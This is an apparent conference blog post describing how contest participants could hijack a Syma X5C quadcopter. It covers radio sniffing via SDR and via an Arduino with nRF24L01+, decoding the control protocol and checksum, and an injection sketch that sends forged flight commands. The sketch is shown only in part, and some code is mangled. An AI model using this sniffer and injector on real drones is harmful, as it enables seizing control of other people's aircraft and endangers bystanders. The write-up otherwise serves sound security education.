Sunday, March 26, 2017

PHD VI How They Stole Our Drone

PHD VI How They Stole Our Drone



This year, a new competition was introduced at PHDays, where anyone could try to take control over a Syma X5C quadcopter. Manufacturers often believe that if they implement a wireless standard instead of IP technology, they may not think about security. As if hackers would give up because dealing with something other than IP is too long, difficult, and expensive.

But in fact, SDR (software-defined radio) is an excellent way to access the IoT, where the initial level is determined by the level of an IoT vendor’s care and concern. However, even without SDR you can work wonders, even in the limited space of frequencies and protocols.

The contest goal is to take control over a drone.

Inputs:

  • drone control range: 2.4 GHz ISM,
  • control is driven by the module nRF24L01+ (actually, by its clone — BK2423).

Facilities (optional): Arduino Nano, nRF24L01+.

The hijacker received the Syma X8C as a prize.

Since those who wanted to steal our drone were trained people who had HackRF, BladeRF, and other serious tools in their arsenal, we describe two hijack methods: via SDR and nRF24L01+.

The Way of the Samurai: SDR

First of all, you need to find channels that are running the console. But before that, you need to skip through the data sheet, to get the idea of what you need to look for. First of all, we need to find out the organization of frequencies.


Now we know that there are a total of 126 channels with a step of 1 MHz. Itll be also useful to know the width of a channel and its bit rate.


Actually, a participant could manage the task without this knowledge, because it’s not necessarily known what a transmitter consists of. Now we launch a spectrum scanner. We use UmTRX and its maximum bandwidth of 13 MHz.





We do not provide sequential screenshots of each step, but it should be clear how to find such data in radio waves. We can see that, at certain intervals, data appear on channels 25, 41, 57, and 73.

Despite the fact that the data sheet clearly indicates modulation, in real life we do not always have a data sheet for a device. So we build a simple flowgraph in GNU Radio and add detected channels there.



The bandwidth <= 800 KHz according to the data sheet, which means that bit rate is 250 kbps.

Now, to look at the recorded data, we run baudline and open the added file with correct parameters, and this is what we see:


Select one of the highlighted peaks and open the waveform window.


Above we see the recorded signal. Looks like weve done everything correctly, and due to the phase transition it becomes clear that it is FSK/GFSK modulation.

Next, we need to put a demodulator and filter unnecessary data.


The picture looks different now, we choose the dark stripe and open the waveform window.


In fact, the task is solved: the high level is 1, the low level is 0. We can determine the impulse period and calculate the bit rate according to the timeline.

At the very beginning, the transmitter tuned to the transmission frequency and transmits the sound carrier, followed by a preamble consisting of a sequence of 0 and 1, which may differ both in length and content in different chips: in nRF24L01+ it is 1 byte 0xAA or 0x55, depending on the address MSB, in this case, the preamble is 0xAA. Then follows address bytes: in nRF24L01+ address can can consist from 3 to 5 bytes (leaping ahead: this isnt entirely true).


Now we know the address (0xa20009890f). For further analysis, we need to do some automation, like this, for example:



The output is a file consisting of a sequence of 0 and 1:

$ hexdump -C test3.raw

One of our packets could be detected by the shift to 0x5e25:


Everyone decides for themselves how to use it, but it is necessary to find out the length of the packet and the type of the used CRC. We created a utility that analyzes a file and tries to find a preamble, and then attempts to calculate the CRC for different payload lengths and addresses via two different methods (see the data sheet). We did it this way:


But later we realized that Python is only suitable for offline analysis, and is very difficult for it to “digest” data in real time even with a bitrate of 250 kbps, not to mention the higher speeds. This is why the second version in C that operates in real time was developed.


So we have payload, now we only need to examine Syma protocol.

Another Way: Arduino and nRF24L01+


This method, in contrast to the above, requires almost no knowledge in the field of radio, and is extremely cheap (Arduino is $2, nRF24L01+ -is $1, and approximately the same for the wire mini-USB and DuPont), but it requires some ingenuity. This is the method that we wanted the participants to reproduce.

The main problem is that nrf24l01+ does not have the promiscuous mode. However, the module has some strange features, e.g. the data sheet has an interesting thing:



If you paste 00 in this register, the address will be 2 bytes. Also, a preamble is typically transmitted and used for a receiver to adjust to a transmitter, and for this purpose more often transmitted as a preamble sequence of zeros and ones. And the second feature of the module nRF24L01+: it does not look for a preamble and does not use it, it looks for an address that is recorded as received address. If we look at the transmitting signal on the screenshots above, we will notice that before transmitting the preamble, the transmitter transmits the sound carrier. Experiments showed that nRF24L01+ often take it as 0x00 (or sometimes as 0xFF, and rarely as an accidental byte). Thus, using these undocumented features we can translate nRF24L01+ to the promiscuous mode by setting the length of the address to 2 bytes, and the address as 0x00AA or 0x0055. In some case, we will receive data shifted by 1 bit. Moreover, we can receive data without checking the CRC.

Now we have all the necessary information. Now we can use the RF24 library (github.com/TMRh20/RF24), though it has a flaw: in the file RF24.cpp of the function

void RF24::setAddressWidth(uint8_t a_width){
if(a_width -= 2){
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
}

the validity check should be removed:

void RF24::setAddressWidth(uint8_t a_width){
a_width -= 2;
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}

Now we write a small sketch for Arduino (this example is for Mega, but it works for any other model, you just need to change CE_PIN, CSN_PIN on your own):

#include
#include
#include
#include

#define CE_PIN  53 /// Change it for your board
#define CSN_PIN 48 /// Change it for your board

RF24 radio(CE_PIN, CSN_PIN); 

const char tohex[] = {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f};
uint64_t pipe = 0x00AA;

byte buff[32];
byte chan=0;
byte len = 32;
byte addr_len = 2;

void set_nrf(){
  radio.setDataRate(RF24_250KBPS);
  radio.setCRCLength(RF24_CRC_DISABLED);
  radio.setAddressWidth(addr_len);
  radio.setPayloadSize(len);
  radio.setChannel(chan);
  radio.openReadingPipe(1, pipe);
  radio.startListening();  
}

void setup() {
  Serial.begin(2000000);
  printf_begin();
  radio.begin();
  set_nrf();
}

long t1 = 0;
long t2 = 0;
long tr = 0;

void loop() {
  byte in;
   if (Serial.available() >0) {
     in = Serial.read();
     if (in == w) {
      chan+=1;
      radio.setChannel(chan);
      Serial.print(" Set chan: "); 
      Serial.print(chan);
     }
     if (in == s) {
      chan-=1;
      radio.setChannel(chan);
      Serial.print(" Set chan: "); 
      Serial.print(chan);
     }
     if (in == q) {
     Serial.print(" "); 
     radio.printDetails();
     }  
   }
  while (radio.available()) {                      
    t2 = t1;
    t1 = micros();
    tr+=1;
    radio.read(&buff, sizeof(buff) );
    Serial.print(" "); 
    Serial.print(tr);
    Serial.print(" ms: "); 
    Serial.print(millis());
    Serial.print(" Ch: ");
    Serial.print(chan);
    Serial.print(" Get data: ");
    for (byte i=0; i
      Serial.print(tohex[(byte)buff[i]>>4]);
      Serial.print(tohex[(byte)buff[i]&0x0f]);      
    }    
  }
}

Now you can gather data from the channel on the serial port, the change is channel by sending a “w” and “s” to the port. Further handling can is performed in any convenient manner. We should note that the port speed is non-standard (2 Mbps) to allow Arduino to spend less time on I/O (do not forget that there is only 16 MHz).


After finding the channel and capturing the address should set the address as the receiver to filter the data:

uint64_t pipe = 0xa20009890fLL;
byte addr_len = 5;


Then we should run through all the channels and find where the given address is presented. Now we notice that 10, 11 and 12 bytes vary depending on the data, and they are followed by a sequence of random bytes (noise). We try to enable CRC16 (last two bytes) and change the length of the packet to 10 bytes:

byte len = 10;
radio.setCRCLength(RF24_CRC_16);


Yes! We were able to find all the necessary settings nRF24L01+, which are used by the panel, and it’s time to analyze the Syma protocol itself.

The Syma Protocol

It is not difficult to analyze it by recording some activity from the panel.

  • The first byte is the throttle value (throttle stick) 
  • The second byte is the elevator value (the pitch — tilt back and forth), where the high bit is the direction (forward or backwards) and the remaining 7 is the value.
  • The third byte is the rudder value (yaw — pivoting left and right), where the high bit is the direction (left or right) and the remaining 7 is the value.
  • The fourth byte is the aileron value (roll — leaning to the left and to the right), where the high bit is the direction and the remaining 7 is the value.
  • The tenth is the CRC, which is calculated as an XOR from the first 9 bytes + 0x55, understanding this is perhaps the most difficult part.

The remaining bytes could be left as those that were intercepted: they contain zero position adjustment values (trims), and a few flags for manipulating the camera.

Now we just need to create a valid package, for example to force the drone to spin on its axis counterclockwise: 92007f000040002400de

Below is a sketch of our interceptor from PHDays:


#include
#include
#include
#include

#define CE_PIN  48
#define CSN_PIN 53

//// syma
uint8_t chan[4] = {25,41,57,73}; 
const char tohex[] = {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f};
uint64_t pipe = 0xa20009890fLL; 

RF24 radio(CE_PIN, CSN_PIN); 
int8_t packet[10];
int joy_raw[7];
byte ch=0;

//// controls
uint8_t throttle = 0;
int8_t rudder = 0;
int8_t elevator = 0;
int8_t aileron = 0;

//// syma checksum
uint8_t checksum(){
    uint8_t sum = packet[0];
    for (int i=1; i < 9; i++) sum ^= packet[i];
    return (sum + 0x55);
}

//// initial
void setup() {
  //set nrf
  radio.begin();
  radio.setDataRate(RF24_250KBPS);
  radio.setCRCLength(RF24_CRC_16);
  radio.setPALevel(RF24_PA_MAX);
  radio.setAutoAck(false);
  radio.setRetries(0,0);
  radio.setAddressWidth(5);
  radio.openWritingPipe(pipe);
  radio.setPayloadSize(10);
  radio.setChannel(25);
  //set joystick
  pinMode(A0, INPUT);
  pinMode(A1, INPUT);
  pinMode(A2, INPUT);
  pinMode(A3, INPUT);
  pinMode(A4, INPUT);
  pinMode(A5, INPUT);
  pinMode(A6, INPUT);
  digitalWrite(A3, HIGH);
  digitalWrite(A4, HIGH);
  digitalWrite(A5, HIGH);
  digitalWrite(A6, HIGH);
  //init default data
  packet[0] = 0x00;
  packet[1] = 0x00;
  packet[2] = 0x00;
  packet[3] = 0x00;
  packet[4] = 0x00;
  packet[5] = 0x40;
  packet[6] = 0x00;
  packet[7] = 0x21;
  packet[8] = 0x00;
  packet[9] = checksum();
}

void read_logitech() {
  joy_raw[0] = analogRead(A0);
  joy_raw[1] = analogRead(A1);
  joy_raw[2] = analogRead(A2);
  joy_raw[3] = !digitalRead(A3);
  joy_raw[4] = !digitalRead(A4);
  joy_raw[5] = !digitalRead(A6);
  joy_raw[6] = !digitalRead(A5);
  //little calibration
  joy_raw[0] = map(joy_raw[0],150, 840, 255, 0)+10;
  joy_raw[0] = constrain(joy_raw[0], 0, 254);
  joy_raw[1] = map(joy_raw[1],140, 830, 0, 255);
  joy_raw[1] = constrain(joy_raw[1], 0, 254);
  joy_raw[2] = map(joy_raw[2],130, 720, 255, 0);
  joy_raw[2] = constrain(joy_raw[2], 0, 254);

Available link for download